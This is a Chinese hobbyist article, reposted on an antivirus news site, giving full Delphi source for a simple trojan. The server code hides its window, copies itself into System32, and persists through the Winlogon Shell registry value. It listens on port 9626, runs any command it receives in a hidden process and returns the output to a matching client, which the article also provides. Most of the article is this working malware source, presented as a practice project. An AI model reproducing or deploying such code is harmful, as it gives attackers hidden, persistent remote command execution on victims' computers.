全站资讯检索:
 
您现在的位置: 猫头鹰病毒资讯网 >> 黑客木马 >> 黑客木马 >> 文章正文
学习当黑客 “培养”自己的简单木马
作者:佚名    文章来源:网络收集    点击数:    更新时间:2007-9-28

刚学电脑时很喜欢网络安全,看着高手们写的一个又一个攻击工具,自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了,感觉什么都没学到,惭愧啊。今晚突然想学着写木马,于是手忙脚乱的敲了点代码,超简单,愿自己能越写越好!!!

  程序跟传统木马一样,分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面,并在注册表添加一自动行启动项,打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行,最后把回显传送回客户端。客户端很简单,跟服务端连接成功后,输入命令点执行,正常的话可以收到服务端的执行结果了。



  源码如下:

////Server.pas//////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///部分代码从网上收集///////////
////////////////////////////////

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;

type
TFmMain = class(TForm)
  SS: TServerSocket;
  Memo1: TMemo;
  procedure FormCreate(Sender: TObject);
  procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
  procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
  { Private declarations }
public
  { Public declarations }
end;

var
FmMain: TFmMain;
reg:TRegistry;

implementation

{$R *.dfm}

procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200;       //运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then
  reg.WriteString('Shell','Explorer.exe Lysvr.exe');   //建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\Lysvr.exe') then
  copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);

SS.Port:=9626;
try
  SS.Active:=True;
except
end;
end;

procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('连接成功');   //发现有连接时回传‘连接成功 ’
end;

procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
  socket.SendText('不能创建管道');
  exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
  socket.SendText('不能创建进程');
  FreeMem(ph);
  FreeMem(fname);
  Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer<>0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
  ph[cchReadbuffer]:=chr(0);
  Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
  Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph);   //memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///将回显发送回客户端
end;

end.

///////////////////////////////////////////////////////////////////////////////////////////

//////客户端/////////////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
////////////////////////////////

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;

type
TFmMain = class(TForm)
  WebBrowser1: TWebBrowser;
  Label3: TLabel;
  Edit2: TEdit;
  Label4: TLabel;
  Edit3: TEdit;
  Button2: TButton;
  CS: TClientSocket;
  Edit4: TEdit;
  Label5: TLabel;
  Memo1: TMemo;
  BitBtn2: TBitBtn;
  procedure Button2Click(Sender: TObject);
  procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);
  procedure BitBtn2Click(Sender: TObject);
private
  { Private declarations }
public
  { Public declarations }
end;

var
FmMain: TFmMain;

implementation

{$R *.dfm}

procedure TFmMain.Button2Click(Sender: TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;

procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;

procedure TFmMain.BitBtn2Click(Sender: TObject);
begin
CS.Socket.SendText(edit4.Text);
end;

end.
文章录入:菜猫    责任编辑:菜猫 
 
相关文章
斩断黑手 防止黑客们攻击ADSL路由器
黑客大会收回对基于芯片安全措施的挑战
雅虎通成钓鱼攻击帮凶 黑客利用其传播
暑期兴起黑客培训热制作者年龄逐年减小
苹果iPhone手机遭黑客聚焦安全漏洞初现
水务局网络遭内部黑客攻击 嫌犯被起诉
偷鸡摸狗的“黑客”与“黑客”中的英雄
iPhone引领黑客回归 为荣誉攻克苹果手机
雅虎Messenger安全漏洞遭黑客猛烈攻击
黑防知识:黑客种植木马方法及防范策略
5毒4害预警报告 当心黑客替你炒股
宽带用户防范 黑客恶意攻击的十大招式
相关评论
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
::发表评论::
姓 名:* (必填项)
E-mail: QQ:
评 分: 1分 2分 3分 4分 5分
评论内容:
  • 严禁发表危害国家安全、政治、黄色淫秽等内容的评论。
  • 评论人需对自己在使用评论过程中的行为承担法律责任。
  • 本站管理员有权保留或删除评论内容。
  • 游客发表评论须经管理员审核后才能发表。
  • 评论内容只代表个人观点,与本网站立场无关。
 
设为首页 | 收藏本站 | 关于我们 | 联系我们 | 刊登广告 | 版权声明 | 友情链接 | 网站地图
猫头鹰反病毒资讯网所有信息来自互联网及网友提供,如侵犯了你的权益,请来信告知,我们将立即删除!
Copyright © 2007-2008 MoToYi.com All rights reserved
本站为你提供病毒木马的防治方案,专杀工具和防护软件的下载,系统及网络的安全技巧,手机病毒发展趋势.